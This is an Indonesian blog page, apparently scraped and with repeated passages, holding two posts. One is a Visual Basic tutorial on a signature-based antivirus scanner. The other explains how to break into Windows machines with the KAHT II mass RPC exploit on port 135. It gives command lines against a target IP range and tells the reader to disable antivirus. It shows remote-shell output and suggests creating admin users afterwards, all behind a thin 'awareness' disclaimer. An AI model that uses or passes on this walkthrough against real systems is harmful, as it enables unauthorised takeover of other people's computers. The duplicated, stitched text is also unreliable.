If Not SetPrivilege(”SeDebugPrivilege”, True) Then Exit Sub
End If
hProcess = OpenProcess(PROCESS_ALL_ACCESS, False, pId)
If hProcess <> 0 Then
hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, pId)
If hSnapShot <> -1 Then
ModuleEntry.dwSize = Len(ModuleEntry)
Proceed = Module32First(hSnapShot, ModuleEntry)
Do While Proceed
sBuffer = Space(1024)
If ReadProcessMemory(hProcess, ByVal ModuleEntry.modBaseAddr, ByVal sBuffer, 512, lWritten) Then
If lWritten > 0 Then
e_lfanew = InStr(sBuffer, “PE” + Chr$(0) + Chr$(0)) - 1
If e_lfanew > 0 Then
If ReadProcessMemory(hProcess, ByVal (ModuleEntry.modBaseAddr + e_lfanew), ByVal ImageNTHeader, Len(ImageNTHeader), lWritten) Then
Pattern = buatPattern(ImageNTHeader)
i = 0
Do While i <= PatternCount
If Pattern = Left(PatternVirus(i), Len(Pattern)) Then Exit Do
i = i + 1
Loop
If i <= PatternCount Then
Call TerminateProcess(hProcess, 0)
Call lstHistory.AddItem(”Found :” + Mid$(PatternVirus(i), Len(Pattern) + 1), 0)
Call lstHistory.AddItem(”Action: Delete process”, 0)
End If
End If
End If
End If
End If
Proceed = Module32Next(hSnapShot, ModuleEntry)
Loop
End If
CloseHandle (hSnapShot)
End If
CloseHandle (hProcess)
If GetVersion() = VER_PLATFORM_WIN32_NT Then
Call SetPrivilege(”SeDebugPrivilege”, False)
End If
End Sub
setelah menghentikan prosesnya kita akan mencari virus2 tersebut
MENCARI DAN MENDAPATKAN VIRUS2 DIMEDIA PENYIMPANAN
Function GetFiles(Path As String)
Dim ObjFSO As Object
Dim sFiles As Object
Dim Pattern As String
Dim i As Integer
On Error GoTo Finally
Set ObjFSO = CreateObject(”Scripting.FileSystemObject”)
txtScan.Text = Path
For Each sFiles In ObjFSO.GetFolder(Path).Files
DoEvents
If InStr(”bat bin com cmd dll exe ini htt pif”, Right$(sFiles, 3)) > 0 Then
Pattern = AmbilPatternFile(sFiles)
If Pattern <> “” Then
i = 0
Do While i <= PatternCount
If Pattern = Left(PatternVirus(i), Len(Pattern)) Then Exit Do
i = i + 1
Loop
If i <= PatternCount Then
Call lstHistory.AddItem(”File :” + sFiles, 0)
Call lstHistory.AddItem(”Found :” + Mid$(PatternVirus(i), Len(Pattern) + 1), 0)
End If
End If
End If
Next
Finally:
End Function
Ini hanya point-point penting yang terdapat dalam suatu antivirus…..
semoga lo dapat ngembanginnya…….soalnya gw juga lagi nyoba(he…he…he…)…
ntar deh aq kasih teknik lain pada tutorial berikutnya.
sumber :http://aurel666.wordpress.com
Pada kenyataannya, sekarang banyak virus, worm dan berbagai saudaranya yang beredar yang dihasilkan oleh orang2 yang tak punya moral dengan tujuan tertentu. (ah…..jadi vixers ga ada untungnya, cuma ngerusakin kompi orang).
yooo…. dari pada basa basi mending kita bahas, susah ga bikin removal atau anti virus itu? jawabannya bisa ya bisa tidak, kenapa.? kalo mo buat anti virus yang diperlukan adalah bahasa program apa yang kita kuasai, klo ga menguasai gimana dok? jawabannya ya belajarlah (susah2 amat).
ok…. buat persiapan bikin anti virus :(…….Lets Go………)
1. Siapkan sampel2 virus
Kita harus nyiapin sampel2 virus, yang berguna agar program ,yang kita buat dapat mendeteksi keberadaan virus2 tersebut. semakin banyak sampel yang kita punyai semakin baik program tersebut dalam mendeteksi virus2 yang beredar maupun varian2 nya.
2. Teh Panas, Lucky Strike and Lagu Kesukaan ( BIar Ga Bosan)
(saya hanya memaparkan beberapa souce code yang dianggap penting,,,, dalam membuat anti virus)
MEMBACA SIGNATURE VIRUS YANG ADA
Private Sub cmdTambah_Click()
Dim nf As Integer
Dim cVDF As String
Dim cPattern As String
cVDF = App.Path + “\Scan.vdf”
nf = FreeFile
Open cVDF For Append As #nf
cPattern = AmbilPatternFile(txtPath.Text)
If cPattern = “” Then
MsgBox “Gagal mengambil pattern virus !”, vbCritical, vbOKOnly
Else
Print #nf, cPattern + txtNamaVirus.Text
Call lstHistory.AddItem(”Tambah VDF : ” + txtNamaVirus.Text, 0)
End If
Close #nf
End Sub
Kelemahan Teknik ini berfungsi jika signature virus ada, jika tidak maka kemungkinan virus-virus tidak akan dikenali….
teknik lain yang sering digunakan oleh antivirus lain seperti CRC atau ceksum… dan ini kemungkinan besar untuk mendeteksi keberadaan virus-virus yang ada
CEK PROSES BERJALAN
Public Sub CekProcesses()
Dim hSnapShot As Long
Dim ProcessEntry As PROCESSENTRY32
Dim NextEnumExists As Boolean
Dim Pos As Long
Dim pId As Long
Dim fileName As String
Dim baseName As String
hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
If hSnapShot = 0 Then
MsgBox “Failed to create Module and Thread snapshot”
Exit Sub
End If
ProcessEntry.dwSize = Len(ProcessEntry)
NextEnumExists = 0 <> Process32First(hSnapShot, ProcessEntry)
While NextEnumExists
pId = ProcessEntry.th32ProcessID
Pos = InStr(ProcessEntry.szExeFile, Chr(0))
If Pos > 1 Then
fileName = Left(ProcessEntry.szExeFile, Pos - 1)
baseName = extractFilename(fileName)
Else
fileName = “”
baseName = “”
End If
Call lstHistory.AddItem(”Periksa (” + Hex$(pId) + “) ” + fileName, 0)
Call cekModules(pId)
NextEnumExists = 0 <> Process32Next(hSnapShot, ProcessEntry)
Wend
Call CloseHandle(hSnapShot)
End Sub
Public Sub CekModules(pId As Long)
Dim ModuleEntry As TMODULEENTRY32
Dim hProcess As Long
Dim Proceed As Long
Dim hSnapShot As Long
Dim lWritten As Long
Dim sBuffer As String * 512
Dim ImageNTHeader As IMAGE_NT_HEADERS
Dim e_lfanew As Integer
Dim Pattern As String
Dim i As Integer
If GetVersion = VER_PLATFORM_WIN32_NT Then
If Not SetPrivilege(”SeDebugPrivilege”, True) Then Exit Sub
End If
hProcess = OpenProcess(PROCESS_ALL_ACCESS, False, pId)
If hProcess <> 0 Then
hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, pId)
If hSnapShot <> -1 Then
ModuleEntry.dwSize = Len(ModuleEntry)
Proceed = Module32First(hSnapShot, ModuleEntry)
Do While Proceed
sBuffer = Space(1024)
If ReadProcessMemory(hProcess, ByVal ModuleEntry.modBaseAddr, ByVal sBuffer, 512, lWritten) Then
If lWritten > 0 Then
e_lfanew = InStr(sBuffer, “PE” + Chr$(0) + Chr$(0)) - 1
If e_lfanew > 0 Then
If ReadProcessMemory(hProcess, ByVal (ModuleEntry.modBaseAddr + e_lfanew), ByVal ImageNTHeader, Len(ImageNTHeader), lWritten) Then
Pattern = buatPattern(ImageNTHeader)
i = 0
Do While i <= PatternCount
If Pattern = Left(PatternVirus(i), Len(Pattern)) Then Exit Do
i = i + 1
Loop
If i <= PatternCount Then
Call TerminateProcess(hProcess, 0)
Call lstHistory.AddItem(”Found :” + Mid$(PatternVirus(i), Len(Pattern) + 1), 0)
Call lstHistory.AddItem(”Action: Delete process”, 0)
End If
End If
End If
End If
End If
Proceed = Module32Next(hSnapShot, ModuleEntry)
Loop
End If
CloseHandle (hSnapShot)
End If
CloseHandle (hProcess)
If GetVersion() = VER_PLATFORM_WIN32_NT Then
Call SetPrivilege(”SeDebugPrivilege”, False)
End If
End Sub
setelah menghentikan prosesnya kita akan mencari virus2 tersebut
MENCARI DAN MENDAPATKAN VIRUS2 DIMEDIA PENYIMPANAN
Function GetFiles(Path As String)
Dim ObjFSO As Object
Dim sFiles As Object
Dim Pattern As String
Dim i As Integer
On Error GoTo Finally
Set ObjFSO = CreateObject(”Scripting.FileSystemObject”)
txtScan.Text = Path
For Each sFiles In ObjFSO.GetFolder(Path).Files
DoEvents
If InStr(”bat bin com cmd dll exe ini htt pif”, Right$(sFiles, 3)) > 0 Then
Pattern = AmbilPatternFile(sFiles)
If Pattern <> “” Then
i = 0
Do While i <= PatternCount
If Pattern = Left(PatternVirus(i), Len(Pattern)) Then Exit Do
i = i + 1
Loop
If i <= PatternCount Then
Call lstHistory.AddItem(”File :” + sFiles, 0)
Call lstHistory.AddItem(”Found :” + Mid$(PatternVirus(i), Len(Pattern) + 1), 0)
End If
End If
End If
Next
Finally:
End Function
Ini hanya point-point penting yang terdapat dalam suatu antivirus…..
semoga lo dapat ngembanginnya…….soalnya gw juga lagi nyoba(he…he…he…)…
ntar deh aq kasih teknik lain pada tutorial berikutnya.
sumber :http://aurel666.wordpress.com
Diposting oleh
Pardila Wisman
9/20/2007
Cara membobol Password Windows
Artikel ini bukan bertujuan untuk mengajari pembaca untuk berbuat jahat dengan cara membobol password komputer orang lain, tapi hanya sekedar mengingatkan kepada anda terutama bagi administrator jaringan atau pengguna komputer yang terkoneksi ke jaringan agar berhati-hati dan selalu waspada bahwa password /komputer anda mudah di bobol dan diambil alih oleh orang lain.
kali ini penulis menggunakan metode explosits port 135 (DCOMRPC) dimana semenjak adanya issue virus W32 Welcia K yang menyerang port 135, yang dalam hal ini diakui oleh pihak microsoft (Baca Microsoft Security Bulletin MS03-026). target dari worm ini adalah pc yang menggunakan IIS 5.0 seperti windows 2000 /XP.
Untuk mempersingkat bagaimana caranya kita membobol password di windows kita menggunakan Tools Kaht bisa anda download disini .
Karena proses ini menggunakan worm sebaiknya anda mendisable antivirus anda.
Langkahnya :
1. Unzip file Kaht.zip
2. Letakkan pada direktori yang anda suka.
3. Masuk ke direktori tempat file berada melalui text mode
4. Tentukan sasaran pc yang akan di hacking missal
IP : 192.168.30.3
Kaht 192.168.30.1 192.168.30.3
Jika hacking anda berhasil akan tampil pada command line kira-kira sbb:
--------------------------------------------------------------------------------
KAHT II - MASSIVE RPC EXPLOIT dst
--------------------------------------------------------------------------------
[+] Target: 192.168.30.1-192.168.30.3 with 50 Treads
[+] Attacking Port:135. Remote Shell at port:36388
[+] Scan In Progress......
- Connecting to 192.168.30.3
Sending Exploit to a [Win2k] Server
- Connectando con la Shell Remote
dst........
C:WINNTsystem32>
Berarti anda sudah masuk ke komputer yang anda hack dan komputer sepenuhnya sudah anda kuasai. anda bisa membuat user admin membuat sharing dll
Sekali lagi artikel ini sekedar mengingatkan kepada anda berhatihatilah dalam mengelola komputer anda terutama Administator jaringan.
kali ini penulis menggunakan metode explosits port 135 (DCOMRPC) dimana semenjak adanya issue virus W32 Welcia K yang menyerang port 135, yang dalam hal ini diakui oleh pihak microsoft (Baca Microsoft Security Bulletin MS03-026). target dari worm ini adalah pc yang menggunakan IIS 5.0 seperti windows 2000 /XP.
Untuk mempersingkat bagaimana caranya kita membobol password di windows kita menggunakan Tools Kaht bisa anda download disini .
Karena proses ini menggunakan worm sebaiknya anda mendisable antivirus anda.
Langkahnya :
1. Unzip file Kaht.zip
2. Letakkan pada direktori yang anda suka.
3. Masuk ke direktori tempat file berada melalui text mode
4. Tentukan sasaran pc yang akan di hacking missal
IP : 192.168.30.3
Kaht 192.168.30.1 192.168.30.3
Jika hacking anda berhasil akan tampil pada command line kira-kira sbb:
--------------------------------------------------------------------------------
KAHT II - MASSIVE RPC EXPLOIT dst
--------------------------------------------------------------------------------
[+] Target: 192.168.30.1-192.168.30.3 with 50 Treads
[+] Attacking Port:135. Remote Shell at port:36388
[+] Scan In Progress......
- Connecting to 192.168.30.3
Sending Exploit to a [Win2k] Server
- Connectando con la Shell Remote
dst........
C:WINNTsystem32>
Berarti anda sudah masuk ke komputer yang anda hack dan komputer sepenuhnya sudah anda kuasai. anda bisa membuat user admin membuat sharing dll
Sekali lagi artikel ini sekedar mengingatkan kepada anda berhatihatilah dalam mengelola komputer anda terutama Administator jaringan.
Diposting oleh
Pardila Wisman
Langganan:
Postingan (Atom)